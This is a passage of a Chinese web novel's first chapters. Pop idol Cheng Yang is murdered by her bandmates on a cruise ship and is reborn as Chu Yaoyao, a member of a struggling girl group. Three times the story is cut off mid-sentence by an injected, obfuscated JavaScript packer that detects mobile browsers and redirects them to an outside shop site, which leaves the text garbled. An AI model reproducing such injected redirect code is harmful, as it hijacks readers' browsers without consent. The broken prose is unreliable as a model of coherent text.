《重生后成了自己的代餐[娱乐圈]》 1. 下地狱吧 晋江文学城首发 依花伴月/文 #程漾全球女艺人NO.1# #程漾舞台妖精# #Fire女团# #《BeginAgain》全专进榜# #《BeginAgain》三周蝉联You2be冠军# …… 历时五年,Fire女团从业内小透明一跃成为乐坛的闪耀明星,新专辑《BeginAgain》卖出了5000万张的好成绩,全专曲目进了Lemon榜单前十五,专辑同名主打曲更是三周蝉联You2be冠军。 程漾坐在化妆室内,看着镜子里的自己久久地出神。 镜子里的她妆容精致,细眉红唇,鼻梁高挺,栗色的大波浪卷发披落在肩头尽显温柔,高定的水蓝色吊带长裙上,碎碎的小钻在灯光下闪闪发光。她像一条刚出水的美人鱼,身上披着闪闪的鳞片,只是美人鱼的脆弱柔美在她身上却荡然无存,她太明艳,眼神中的坚定如星光般闪烁。 五年了。 她终于站到最顶上了。 她轻轻低下头,双手交握放在膝上,指尖因为用力而微微泛白。 这五年,从未有一刻想过放弃,顶着高烧在综艺里下水,在录音棚练歌待了28个小时,杯子里常年泡着胖大海,膝盖因为练舞韧带断裂,最夸张的时候,她身上有不下二十多处跳舞留下的淤青…… 但好在,一切都是值得的。 公司为了庆祝《BeginAgain》的销量刷新亚洲记录,以及Fire女团的队长程漾拿下全球女艺人第一名,不惜花巨资包下了这一整艘豪华游轮,举办这场隆重的庆功宴。 在这个为她单独布置的化妆间里,摆满了业内同行和合作伙伴送来的鲜花,现在是庆祝过后的安静,甲板上的宾客都回到了各自的房间,空气里弥漫着混合味的花香。 就像每次演唱会后,她都会坐在舞台中央,看着空荡荡的观众席,品味喧嚣过后的喜悦,这次也是一样的。 她享受这个时刻。 “咚咚咚。”有人敲门。 “请进。”程漾缓缓转过头,视线向门口移去。 “姐~”宋雨桐那张清纯无瑕的脸探了进来,随即像只欢快的小猫扑向她。 她的双手亲昵地搭在程漾的肩头,绸缎般的长发滑过她的手臂,“潇潇又躲起来了,说要给你个惊喜,你快去找她。” 宋雨桐是Fire女团的Vocal担当,凭借着温柔的性格和清纯的外表收获了一大波男粉的喜爱,同时,她也是程漾的表妹,眉眼之间和程漾还有几分相似。 程漾一手带她进娱乐圈,成为Fire的一员,为此还被家中长辈好一顿数落,说她自己放肆也就罢了,还带坏了晚辈。 而曲潇潇,是团里年纪最小的成员,性格开朗活泼,每次团内取得成绩上的突破,她都会变着法子逗程漾开心。 谁都明白,这个团能有今天,程漾功不可没。 程漾唇角微微上扬,抬手轻轻拍了拍宋雨桐搭在自己肩上的手背,眼神温软:“等一下,我待会儿就过去。” 说着,她伸手去拿梳妆台上的手机,手机界面上显示着01:49,消息界面上空空如也。 宋雨桐望着镜中的程漾那明艳的脸庞,笑容稍微僵了一下,但很快又换上了一个更俏丽的笑容,“还在等阿宴哥哥的消息啊?明天再看吧,他现在在国外,那边才凌晨四点,不会给你发消息的。” 宋雨桐不由分说地拉起程漾的手,一半撒娇一半耍赖地用力,“走嘛~走嘛~”她的尾音打着旋儿,撒娇时鼻尖那颗小痣跟着颤动。 真拿她没办法。 程漾嘴角弯起,温柔地回应,“好吧。” 她站起身,整了整自己的裙摆,身上的礼服没有口袋,手机也只能握在手上,“小管家婆,潇潇在哪儿?” “甲板上。” 两人走出化妆间,沿着铺着厚实地毯的走廊走向通往顶层甲板的舷梯。 庆典的喧嚣彻底褪去,游轮内部静得可怕,只剩下中央空调系统低沉的嗡鸣。 甲板上,并没有看到曲潇潇。“海神号”豪华游轮在深夜的海面上悄然行驶。 巨大的船身割开墨色的太平洋海水,海风带着一股咸腥味扑面而来,月光洒在光洁的柚木甲板上,冷冷的光辉如同银色的纱帘。 “潇潇说要给你看流星呢。” 路雅宁蓦然从甲板的一侧走了出来,她身上那件黑色缎面的礼服,在月光下如同幽灵般神秘而冷艳。 程漾望向她,微微一笑,“雅宁,潇潇呢?” 路雅宁没有直接回答,只是用眼神示意了一下船头最前端的位置。 程漾心领神会,松开宋雨桐的手,提着繁复的裙摆,小心地向船头走去。 她倾身向外探去,冰凉的铁质栏杆蹭过她裸露的侧腰肌肤,带来一阵战栗,礼裙腰封上坚硬的碎钻装饰在栏杆上刮擦出刺耳尖锐的“滋啦”声。 “没有啊。” 外面是黑茫茫的一片,二十三层甲板下的海浪正咆哮着撞击船体,激起一朵朵雪白的浪花。 路雅宁的声音从身后传来,“你再过去点,我刚刚明明看到她了,就在船头下面一点的位置,好像是捡到了什么发光的东西。” 程漾微微皱眉,再一次倾身向外探去,半个身子都在栏杆之外,始终没有看到人,游艇的下一层,几盏明黄色的灯还亮着。 “雅宁,别闹了,真的没有。”她一边说着,一边收回重心转身,突然,一只冰冷的手猛地搭在她的肩膀上。 身体陡然一轻! 程惊骇地睁大双眼,视野在急速翻转中掠过甲板边缘,船体的金属在她眼中反射着刺眼的光。 救生艇后,曲潇潇正站在那里,月光清晰地映照出她那张苍白而惶恐的脸,仿佛整个世界都要崩塌。 “嗤啦——”指甲刮过船体的金属边缘,刺痛感像尖锐的刀锋刺入肌肤。 程漾奋力抓住了船体外侧一处生锈的金属凸起,手指被磨得生疼,鲜血瞬间渗出,湿漉漉的血珠沿着指缝滚落。 她的身体像一只破败的玩偶,被悬挂在冰冷的船体外,脚下是翻滚着白色泡沫的冰冷海水。 程漾大口大口地喘着气,无形的压迫感逼得她无法呼吸,她的心脏狂跳,血液在全身上下迅速蹿腾,却没有任何一处能得到一丝安宁。 船头边缘的栏杆后,路雅宁高高站在那里,俯视着她,眼神如同寒冷的冰川。 “为……为什么?”程漾的声音因为极度的惊骇而嘶哑,无法相信自己疼爱多年的妹妹竟然会对自己做出这样的事。 她们一起在MG公司当练习生,一起回国发展,一起站在舞台上受万千粉丝喜爱,明明一切都这么顺利,为什么? “为什么?”路雅宁冷笑了一声,那张娇艳的脸陡然扭曲,像是从面具后头生生又长出了一张脸,每个字都像是从牙缝里狠狠挤出来的,“五年了,程漾。整整五年,有你在的地方,所有的掌声、荣誉、资源,全部都是你的!所有人的目光都只围着你转,主唱是你,C位是你,顶奢代言也是你,什么都是你的!而我,就像条狗一样,只能跟在你的背后,摇尾乞怜。” “就因为这个?”程漾的双手不受控制地颤抖,她拼尽最后一口气,死死扒着船体。 一旁,宋雨桐向前迈近了一步,目光死死地落在程漾紧紧抓住船体的手上,她的眉头猛然一皱,咬紧了牙关。 “雨桐!救我!”捕捉到她靠近的身影,程漾如同抓住最后一根稻草,大声呼救道。 而宋雨桐,却像被这一声叫唤抽了一鞭子,慌忙向后退了几大步,退到了程漾看不到的地方,完全没有要搭救她的意思。 她们是一伙的! 不只是她们,连潇潇也是,她刚刚明明看到她了! 路雅宁向前又迈了一步,挡住了程漾的所有视线,也挡住了她最后的一丝希望。 “现在……” 路雅宁轻轻俯下身,嘴角勾起一抹冷笑,白皙的手指缓缓伸向程漾那双已经因为剧痛而失去力气的手,“轮到我了。” 她的手一根一根地,如同掰断枯枝般,残忍地撬开程漾那因剧痛和绝望而发白的双手。 “不!雅宁!不要!”程漾睁大了眼睛,清晰地感受到自己赖以维系的指尖正在被无情地剥离,眼泪不受控制地夺眶而出。 失重感再次降临,这一次,再无任何依托,她像一只断翅的飞鸟,彻底脱离了船体。 “救——”咸涩冰冷的海水瞬间灌满了她的口鼻,窒息感挤压着胸腔,肺里的空气被暴力挤出,发出沉闷的咕噜声。 海面上,亮蓝色的礼服绽开出一朵诡异而妖冶的花,随即被翻涌的黑暗无情吞噬。 …… 宋雨桐一个箭步冲上前,双手死死抓住栏杆,上半身急切地探出去。 漆黑如墨的海面上除了船体划出的白色航迹,再也看不见任何波纹。 “掉……掉下去了。” 没想到,会这么顺利。 “真愚蠢。”路雅宁的嘴角勾起一抹轻蔑的笑,她的脸上满是毫不掩饰的快意和讽刺,“放心吧,她不会游泳,而且,这里是公海。” 不远处,曲潇潇的手还死死抓着救生艇边上的那块板,她低着头,身体抖得像秋风中的落叶。 路雅宁不耐烦地看了她一眼,语气冰冷:“傻站在那里干什么?” 曲潇潇浑身一颤,怯生生地朝她们走过来,声音带着哭腔,低低问道:“阿漾姐姐,真的死了吗?” “还要谢谢你,小鱼饵。”路雅宁冷笑了一声,眼神中充满了鄙夷,她看着她这两个队友,一个胆小如鼠,一个弱柳扶风,最后,还不是要她做那个绝杀之人? 也罢,现在终于没有人挡在她前头了,她受够了。 曲潇潇眼中的泪水流得更凶了,眼泪悄无声息地滴落在甲板上。 路雅宁不耐烦地瞪了她一眼:“哭什么?她的单人solo时长,以后都是你的了。” “呜——”巨大的游轮汽笛恰在此时发出震耳欲聋的轰鸣,瞬间撕裂了寂静的夜,也吞没了百米之下渐渐微弱的扑水声。 出道五年,程漾一个人的粉丝数比她们三个人加起来还要多,身上的代言价值超过了全公司所有艺人的产值总和。 全能ACE,门面担当,最强Vocal,舞台妖精,一人拖飞机…… 有程漾在,她路雅宁只是个美丽废物,就连自己引以为傲的美貌都要屈居人下。“Fire第二美貌”、“一人之下的神颜”,这些称呼,谁稀罕。 路雅宁弯下身,纤长的手指拾起了甲板上那部掉落的手机,屏幕还亮着,一条新消息的预览刺眼地跳了出来—— 裴宴林:恭喜你,我的女孩。 路雅宁冷哼了一声,将手机用力抛向大海。 “下地狱吧,程漾!” - 刺眼的光线照射进窗户,程漾闭着眼,眼珠子因为光线不断转动。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203444|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手指微微颤动了一下,随后轻轻睁开了眼。 ……好亮。 她抬起手,试图遮挡住眼前的光线,微微向内侧偏了偏头。刚转动了一点点,额头就传来一阵尖锐的疼痛,让她不由倒吸了一口凉气。 “嘶……” “她醒了!”一个清脆的女声在她耳边响起。 程漾艰难地撑开沉重的眼皮,视线依旧模糊不清,仿佛隔着一层轻纱,光影晃动之间,一张清秀的面庞渐渐在她的视线中浮现。 她的床边站着一位长发的妹子,脸上没有一丝粉饰,清丽的面庞上透着几分冷淡的气质。 那人正俯下身来,手撑在床头,目光温柔而关切地注视着她,“幺幺?感觉怎么样?” 幺幺?谁是幺幺? 不远处站着的另一个女生转过身来,她那厚重的平刘海像一个锅盖盖在头顶,身上穿着一件简单的黑色T恤和牛仔裤,语气极不耐烦地说:“终于醒了,我真的服了,再不醒还以为你要变成植物人了。” 站在病床边的清冷妹子朝她使了个眼色,轻声说:“阿语,幺幺才刚醒,你少说两句。” 被唤作“阿语”的女孩不满地甩了下头,又嘟囔道:“她都昏迷五天了!全身上下扫描都扫了两遍,结果什么问题都没有。我真怀疑她是不是故意装睡。楚幺幺,你说你蠢不蠢?泡个澡都能摔倒,我进去看到你倒在那儿,额头上、浴缸上一大片血,送到医院连心脏都停了,老娘的心理承受能力不是你这样锻炼的!” 医生抢救了半个小时,依然回天乏术,就在刚要宣布死亡的时候,楚幺幺的心脏却突然剧烈地跳动起来,连医生都不可思议,说这是“医学奇迹”,真是吓死人了! 阿语说完,气鼓鼓地走出了病房。 程漾被这几句话震醒了,她努力撑着身体想坐起来,旁边的清冷妹子急忙扶住她,轻轻地将枕头塞到她背后,帮助她坐直。 她捂着额头,微微晃了晃,试图理清楚脑中的混乱。 “幺幺,你别生气,你昏迷这几天,阿语的偶像刚刚过世,她最近心情不大好。” “谁死了?”程漾随口问道。 “你傻了?阿语的偶像还有谁啊,程漾啊!” 程漾? 程漾死了? 我死了?! 那晚的记忆如潮水般涌来,程漾猛然像是被冰水泼醒,眼神中充满了恐惧与震惊。 她记起那天的情景:被推入水中的冰冷手掌,路雅宁狰狞的面孔,甲板上的队友,默默地站在不远处,冷漠地看着她落入深渊。 海水好冷……冷得无法呼吸……她身体在无边的黑暗中不断下沉,直到失去最后一缕空气…… 无法言喻的恐惧和无尽的绝望吞噬了她,她的瞳孔骤然收缩,身体无法控制地剧烈颤抖起来,脸色苍白如纸,嘴唇微微颤抖,却发不出任何声音。 “幺幺?你怎么了?别吓我!”沈清柠被她突然的剧烈反应吓到了,连忙按住她颤抖的肩膀。 程漾猛地抬起头,眼神中充满了混乱与不安,她死死抓住沈清柠的手腕:“那……我是谁?……你……你是谁?” “你是楚幺幺啊,你别和我开玩笑了。”沈清柠不可置信地看着她,只是撞到了额头,不至于失忆吧,“我是沈清柠,你不记得了?阿语,姜书语,你都不记得?” 沈清柠?姜书语?…… 程漾仔细回忆,终于点了点头,她确实有点印象。 她们是业内一个存在感几乎为零的女团成员。程漾会知道她们,是因为,当时她才出道两年,却已经是娱乐圈一颗不容忽视的新星,她受邀去某档竞演养成类真人秀节目当导师,沈清柠和姜书语作为练习生参赛,最后止步在第二十名左右,未能成功成团。而后,几名落选的女练习生组成了一个新团体,取名“桔梗少女”,团里还有一位当时的练习生,叫——楚幺幺。 我是楚幺幺? 沈清柠见她点了头,终于松了一口气,说:“记得就好。” 程漾强压住内心的颤抖,开口问:“清……清柠,有……没有镜子?” 沈清柠有些疑惑地从背包里翻找了一圈,终于从中拿出一个补妆用的气垫粉盒,递给程漾,“喏,这里。” 程漾接过气垫,手指颤抖着翻开了盖子,视线小心地移向那方小小的镜面—— 镜子中的人,额头上绑着绷带,一张圆润的脸,眼睛大而圆,鼻子小巧,眼脸颊上是两坨肉肉的苹果肌,这张肉肉的脸和她先前清瘦的脸实在大相径庭。 她像触碰到了烫手的铁片一般猛地缩回了手,气垫盒“啪嗒”一声掉在洁白的被单上。 程漾的手不受控制地在自己脸上来回摸索,即便是学了这么多年表情管理的她,此刻也控制不住内心的恐惧,大口大口地喘起气来。 她真的……变成了另一个人! 沈清柠将镜子收回,轻声安慰她:“放心吧,只是擦破了点皮,没事的。”干她们这一行,脸是最重要的。 她看楚幺幺的样子似乎还是有些不对劲,便又说:“算了,你好好休息吧。程漾的追悼会,我和阿语去就好了。” 沈清柠刚想转身离开,手腕突然被一只冰凉的手死死抓住,“我要去!” 程漾的语气坚决,她的另一只手紧紧抓住了床单,扯出无数褶皱,眼里似有星火闪过。 这世上,还有比参加自己的追悼会更荒唐的事吗? 她倒要看看,她那几个好队友,该如何编排那场她们蓄谋已久的死亡。 2. Yue,她吐了。 追悼会场外摆满了鲜花,一路延伸至下一个路口,人行道上摆上了通道栅栏,通道内密密麻麻挤满了人。 不少程漾的粉丝以及团粉举着洋桔梗站在路边,来送偶像最后一程,他们口中念念有词,现场不少人捂着嘴在哭泣,有一些甚至蹲在地上泣不成声。 程漾站在追悼会的门口,望着玻璃门倒影里的自己发呆,微胖的身材,黑色悼念服的肩膀处呈现一个幼圆的弧度,个头倒是和她之前差不多,只是这样的身高配上这样的身材,在镜头里看简直就是灾难。 直到沈清柠和姜书语拍了拍她的肩,她才回过了神,拿着小票和她们一起进了会场。 她们是作为受过程漾照顾的晚辈来参加追悼会的。 程漾出道五年,在业内评价一直颇高,前辈赞赏,后辈仰望。现下,半个娱乐圈的人都来了,大家排着队献花哀悼,感叹这颗耀眼明星的陨落。 礼堂里布满了程漾最喜欢的洋桔梗,里里外外叠了七八层,正中间摆放着她的黑白照片,照片上的她笑得如此灿烂,哪怕没有色彩还是那般光彩夺目,就像她在舞台上,只要一登场,周遭的一切都黯然失色。 一侧摆着一张铺着白布的桌子,她的那几个队友正站在桌前,接受媒体的采访。 程漾握紧了拳头,跟随着悼念的队伍慢慢向前移动,耳朵一直倾听着那边的声音。 宋雨桐哭得梨花带雨,声音几近哽咽:“没想到,姐姐就这么走了。我那天该一直陪着她,寸步不离陪着她,她就不会因为喝了酒,失足掉进海里,都是我不好……呜呜呜……都是我不好……” 程漾在内心翻了个白眼,喝酒?失足?她程漾出道五年,酒量能喝倒半个娱乐圈,你说醉就醉? 路雅宁捂着嘴抽泣,眼角满是泪痕,这种时候眼皮上竟还精心涂抹了珠光眼影,和眼角的泪相映成趣,“阿漾还这么年轻,就……她对我一直很照顾,是我的好姐姐。” 有你这样的好妹妹,我真的会谢! 曲潇潇低着头哭,一言不发。 程漾只看了一眼,就撇开了视线。 她以为的好妹妹,到底是什么时候,让你们存了要杀了她的心思? 记者举着话筒继续提问,“听说程漾生前和影帝陆淮合作的电影,现在由路小姐接替完成,是真的吗?” 路雅宁抽泣了两声,回答道:“我也想帮姐姐完成她未尽的事业,这部电影她很重视,我一定会尽我的全力帮她实现她的梦想,这是我和她的约定,相信姐姐在天上看到这一切,也会很欣慰的。” Yue,她吐了。 是真吐了。 程漾觉得胃中翻江倒海得厉害,胃酸从食道往上溢,一个没忍住,蹲在地上呕吐了起来。她来之前刚吃了一顿饱饭,现在全数吐了出来,甚至还能看到没有消化完全的肉沫。 周遭的人立马让了开来,几个女艺人随即一哄而散,踩着高跟鞋忙不迭地躲得老远,手在鼻子前挥了挥,嘴里发出嫌弃的声音。 “怎么回事啊?” “这谁啊?” “新人吧。” “搞什么啊,太离谱了。” “脏死了。” …… 采访的人听到身后的动静,视线都转了过来,目光落在程漾的身上。一旁的沈清柠和姜书语忙不迭地想把程漾从地上拉起来,她已经吐了一片,甚至溅到了礼堂正中间的白花上。 程漾保持着蹲在地上的姿势,一只手还被姜书语拽在手中,她抬了下眼皮,才发现场中的人目光都在她身上。 “呜呜呜……”她刚刚因为呕吐,泪腺挤压本来就流了几滴泪出来,现在众目睽睽,只好强装难过试图挽尊,“太……太感人了。” 几名工作人员从场外拿着扫把畚斗进来收拾残局,众人还在窃窃私语,她们三人一边鞠躬一边道歉,在指指点点中火速逃离了追悼会现场。 程漾被带回了工作室,姜书语一把将她推到了沙发上,发了好大的火,“楚幺幺!你真是!成事不足,败事有余!” 姜书语气得声音都提高了几个八度,可骂了两句,看到沙发上的人那张无辜的脸,下一句却怎么也骂不出口,最后只能气馁地一屁股坐在沙发上,捂着额头,眼泪在眼睛里打转,“你怎么可以?怎么可以!弄脏了阿漾学姐的悼念厅!” 吼完人后,被吼的人没哭,她倒先双手抱着趴在膝盖上抽泣起来。 什么情况? 程漾懵了,坐着一动不敢动。 最后还是沈清柠出来打圆场,“幺幺本来身体就不舒服,不是故意的,阿漾学姐不会生气的。” 姜书语哭得更大声了,哽咽的声音从臂弯里传来,“为什么保安没有保护好她!啊啊啊~养他们还不如养一群猪!啊啊啊~她这样的人娱乐圈一百年也出不来一个!又努力,又有天赋。好想和她站在同一个舞台上,可是没有机会了!再也没有机会了!……啊啊啊……” 她哭得肝肠寸断,程漾看得不忍,挪了半个身子过去,轻轻在姜书语身上拍了拍,说:“好了好了,我错了。” 哭声依旧不停,“你是不是忘了,我们是怎么进娱乐圈的?” 她们是怎么进娱乐圈的?这,她程漾怎么会知道。 “是我们被淘汰,想要放弃梦想。兜里都没有钱了,阿漾学姐托人给了我们三万块,让我们不要放弃!”姜书语情难自已,哭声未歇,讲话已经带着不受控制的抽泣,“我们,我们才签了现在这个,唧唧歪歪娱乐公司。” “你是不是忘了,自己以前说过什么?”姜书语再次灵魂拷问。 见程漾不说话,便又自问自答道:“你说,你不会放弃你的梦想,你要像阿漾学姐一样,站在最高的地方!要像阿漾学姐一样,被所有人看见!” 沈清柠走过来坐到姜书语的另一侧,也红了鼻子,抱着姜书语,靠在她的背上轻声呜咽起来。 “桔梗少女”出道三年,这三年来活成了娱乐圈的编外人士,她们三个人每天都在为了梦想坚持,卡里的钱常年不超 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203445|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过三千块,微博的粉丝数才三百,活得不如一个营销号。 其中的心酸,如人饮水,冷暖自知。 程漾看着她们的样子,不由鼻子一酸。这世上真的会有人,爱一个毫无关系的人像亲人一样吗?她甚至没有奢想过,她死后,她的粉丝会像姜书语这样痛哭。 人们都说,娱乐圈是最冷血的地方,你只有站得够高才能被仰望,一旦跌下来,就会被踩在脚底。 她爬得那么高,也能一下子就被拖入谷底。 她们现在的样子,就像五年前的她一样,一腔热血,一身孤勇,每天数着口袋里的钱紧巴巴地过日子,但每一刻,她都感到幸福。 姜书语没听见动静,抬起头看程漾,见她下唇嘟起很委屈的样子,两行热泪在眼眶里打转,便吼道:“说你几句你就哭!你不过是丢了脸,人家丢了一条命!” 程漾再也憋不住了,抱着姜书语的脖子哭起来,“呜呜呜~~” “你,你干嘛?” “太……太感人了。” “啊啊啊啊~~”三个人抱作一团,狂哭不止,各哭各的。 不知持续了多久,哭声才渐渐歇了。 程漾感到肚子有些饿,哭泣是很消耗体力的事情,“好饿,吃什么?” 沈清柠擦干了眼泪,说:“这个月只能吃泡面,我们没有钱了……” “唧唧歪歪不分钱吗?”程漾问。 姜书语:“你是人撞傻了吧?我们签的是作品约,公司不分保底的。” 事实是,“桔梗少女”团根本接不到任何商演,更别提其他的影视作品了。 哪有这样经纪公司啊?摆明了欺负人嘛! 程漾不说话,沉默着走去厨房烧水,烧水壶“咕咕”作响,发出热水滚动的声音,她转身靠着台子,望着客厅里的两个人。 夜晚的厨房间,玻璃清晰地映射出她的脸庞。 楚幺幺,微胖,五官不是很精致,但好在眼睛生得很灵,个子虽然高,但顶着这张圆圆的肉脸撒起娇来也不会违和。胸部,嗯,比她之前大。现在的小孩发育都这么好吗? 程漾不由挺了挺胸,满意地点了点头。 她伸手摸上自己的脸,肉肉的触感,毕竟才18岁,这一脸的胶原蛋白,也可以理解。手指抚过下巴,下颚线……没有。 她深深吸了一口气,又重重地吐出去,望着自己的脸自言自语道:“想站在最高的地方吗?想被所有人看到吗?……我帮你做到吧。” 她,程漾,想做到的事情从来没有做不到。 现在,她是楚幺幺,是“桔梗少女”团的忙内小幺,她会以这个身份继续活下去。 热水壶迅速地翻滚,传来“哒”的一声,线路断开的声音。 楚幺幺提着电热水壶向外走去。 现在的当务之急,是填饱肚子,再者,就是立马换掉这家坑爹的经纪公司,唧唧歪歪娱乐公司,一听就不会红好不好? 这倒也不难,只是需要撒一点小谎。 3. 一百万违约金 楚幺幺在程漾的追悼会上一吐成名,虽然事情发生前后不过三分钟,那当时几家媒体都是直播采访,镜头转动时,带到楚幺幺蹲在地上呕吐的画面,还有她一把鼻涕一把泪地哭着说“太感人了”,某视频网站甚至剪了鬼畜视频在首页上飘。 微博底下,也是骂声一片。 【#怎么能弄脏阿漾的追悼会#不能忍!不能忍!】 【能不能让阿漾安安静静地离开,我真的好难过,呜呜呜~】 【这种人为什么能出现在阿漾的追悼会?】 【这个蠢猪是谁啊?!】 【真的好生气!眼泪控住不住掉下来...暴风哭泣.jpg】 【哪来的新人蹭阿漾的热度!要不要脸啊!滚!】 【#楚幺幺滚出娱乐圈#】 【#楚幺幺封杀#】 【别带她名字,让她滚!】 …… 楚幺幺坐在寰宇娱乐公司门外的花坛上,头上戴了一顶大太阳帽,脸上戴了一副大墨镜,以及一个黑色的口罩,这是她以前出街的标配,脸部遮得严严实实,生怕被人认出来。 她的手指在“桔梗少女”的微博界面上下滑动,30万,已经被骂了30万条了,甚至还有上涨的趋势。 切出界面去热搜里看,一个,两个,三个……五个,全是和追悼会呕吐事件相关词条,不愧是顶流程漾,粉丝真的能打。 甚至把楚幺幺的背景都扒了一圈。 【真想刨了她家祖坟!谁都别拦我!】 【她有没有教养啊?爸妈怎么教的?!】 【她好像是个孤儿。】 【什么司马玩意儿!】 …… 哎,真不知道该摆出什么表情。 明明我就是程漾啊!倒霉催子! 楚幺幺抬头,向寰宇的门口又望了一眼,还是没人,便又回过视线看着手机。 因为“桔梗少女”实在太糊,她们签的唧唧歪歪娱乐公司,根本没有给配经纪人,她们三个人,沈清柠管钱,楚幺幺负责经营微博,姜书语管着其他零碎打杂,以及赚外快补贴朝不保夕的生活。 昨天阿柠说,卡里又只剩三千块钱了。 “嘟——” 一辆黑色的迈巴赫从寰宇娱乐公司的地下车库里驶上来,因为路口站着两个小孩,按了一声喇叭。 楚幺幺抬头,一眼就看到了那黑得发亮的车身,以及那个写着“城A.88888”的车牌。 来了! 楚幺幺抓起自己的帆布挎包,风一样地冲到那辆迈巴赫旁,扒着后座的车窗疯狂地敲。 不一会儿,车窗摇下,露出一张棱角分明的男人的侧脸,他脸上的肌肉紧绷着,看不出一丝笑意,黑色的墨镜下压着阴霾,一身黑色的西装尽显肃穆,左臂上还戴着一块黑纱。 “阿……裴先生,我想和你谈件事,你方便吗?”楚幺幺手抓住车窗框,赶不及地问。 “没空。”男人冷冷地回答,又对着司机说,“开车。” 车轮开始滚动,眼看着就要加速,楚幺幺:“我有话说,和程漾有关的!” 裴宴林终于扭过头看向她,黑色的墨镜下看不到表情,但也知道他正在打量她,只过了几秒,他放在膝上的手向上抬了一下,示意司机开车。 “等下等下,”车窗开始向上升起,楚幺幺扒着窗户狂拍,可里面的人根本不想给她机会,“阿漾说!你出国前问她的问题,她的答案是‘Yes’!” 车窗终于停了下来。 裴宴林嘴角抿得紧紧的,眉头蹙成了“川”字,他冰冷的脸上划过一丝哀伤,不知经历了何种内心挣扎,才牵动这薄唇说了两个字:“上车。” 楚幺幺长呼出一口气,拉开车门,娴熟地坐进去,按下门框上方的电吸门开关,车门缓缓关上,车内只有他们俩和前排的司机。 车子缓缓启动,不知要开往何处。 “你认识阿漾?”裴宴林的声音再次传来。 “嗯,阿漾姐姐对我很好,她还说要是有困难,让我来找你,你一定会帮忙的。”楚幺幺说。这不算骗人吧? 裴宴林沉默了一阵,右手的食指在膝盖上轻轻地敲,被楚幺幺看在眼里。他每次思考的时候都会下意识地做这个动作,当他这样的时候,就说明,他对她说的话,并不是很相信。 裴宴林:“阿漾什么时候和你说的?她的答案。” “就……上海那场演唱会结束后,她说的。” 裴宴林闭上眼,靠着车座回想起和阿漾分别时的样子,她的脸上闪着碎钻,手中抱着歌迷给的向日葵,脸上洋溢着幸福的笑,兴奋地拉着他的衣袖,问他,有没有听到尖叫声,场内的尖叫声震得整个舞台都在跳动。 他明白她热爱舞台,正如他对她的爱一样赤诚。 当时,他要出差澳大利亚,她要准备全国巡演的最后一场。他问她,巡演结束后,这一次愿不愿意和他完成他们的婚约,婚后,她还是可以做她爱做的事业,他只是想要她属于他,谁也抢不走。 谁能想到,上天还是抢走了她。 “需要我做什么?”身边这个女孩带来的,是他这一周来最好的消息。 裴宴林单刀直入让楚幺幺一怔,但她很快收拾起了表情,他是这样的,从小就聪明,做事情也不喜欢拖泥带水。 楚幺幺也不绕弯子了,“我所在的女团想签约寰宇,麻烦裴先生帮忙。” “这很简单。” “还有,可能要和原公司解约。”楚幺幺擦了擦鼻尖,思考了一阵,马上又说,“不过我们团很糊,很便宜的!三个人,一百万违约金就好了!” 裴宴林听她说完,没有再继续闲聊,只是淡淡地说了句,“明天来寰宇企划部,找Amy。” 此时,车子已经行驶至一栋象牙白的别墅门口。别墅共有三层,尖尖的屋顶,拱形的门窗,墙壁上雕刻着细致的纹路,冲突中呈现出浪漫典雅,是典型的法式风格,屋前有一汪水池,两侧摆着长青绿植,宽敞的路走到一直延伸到大门口,黑色的栅栏大门此刻已经打开,就等着车子开进去。 楚幺幺往里瞧,目光望向别墅二层的一扇窗户失了神,好半天才如梦初醒般意识到自己该下车了,“明白。” 刚准备下车,余光就看见宋雨桐从别墅里走出来,穿着白色的连衣裙,左额上还别着一枚小白花。 楚幺幺回过身,伸手捏住了裴宴林的脸颊,大拇指和食指在他的脸上掐出两个酒窝,义正言辞地说:“不许爱上别的女人,不、准!” “你……”裴宴林被掐住了脸,脸颊上的肉把嘴挤压成了性感的嘟唇,错愕地从齿间挤出一个字。 这时,楚幺幺已经松开了他,利索地开了车门下车,她拉了拉自己的太阳帽帽檐,顺着下坡一步步往下走。 宋雨桐从别墅里走出来,站在车边,笑着说:“宴林哥哥,你终于来了!姨妈和姨父等你好久了。” 她说完,看向远去那个下坡的身影,穿着黄色的连衣裙,走路时小腿上的肉一颤一颤的,看得出肉很松,“那是谁?” 裴宴林收拾起刚刚错愕的表情,目光看着楚幺幺离开的背影说:“一个朋友。” 阿漾从来没说过她有这个朋友,会和她说他们之间的约定,一定是很重要的朋友吧。谁知道呢,也许只是来碰运气,恰好说中了他和阿漾的约定而已。 楚幺幺已经走出了好一段距离,她转过身望向那栋别墅,门口的车子早已没了踪影。 她还是撒谎了。 她并没有要答应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203446|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 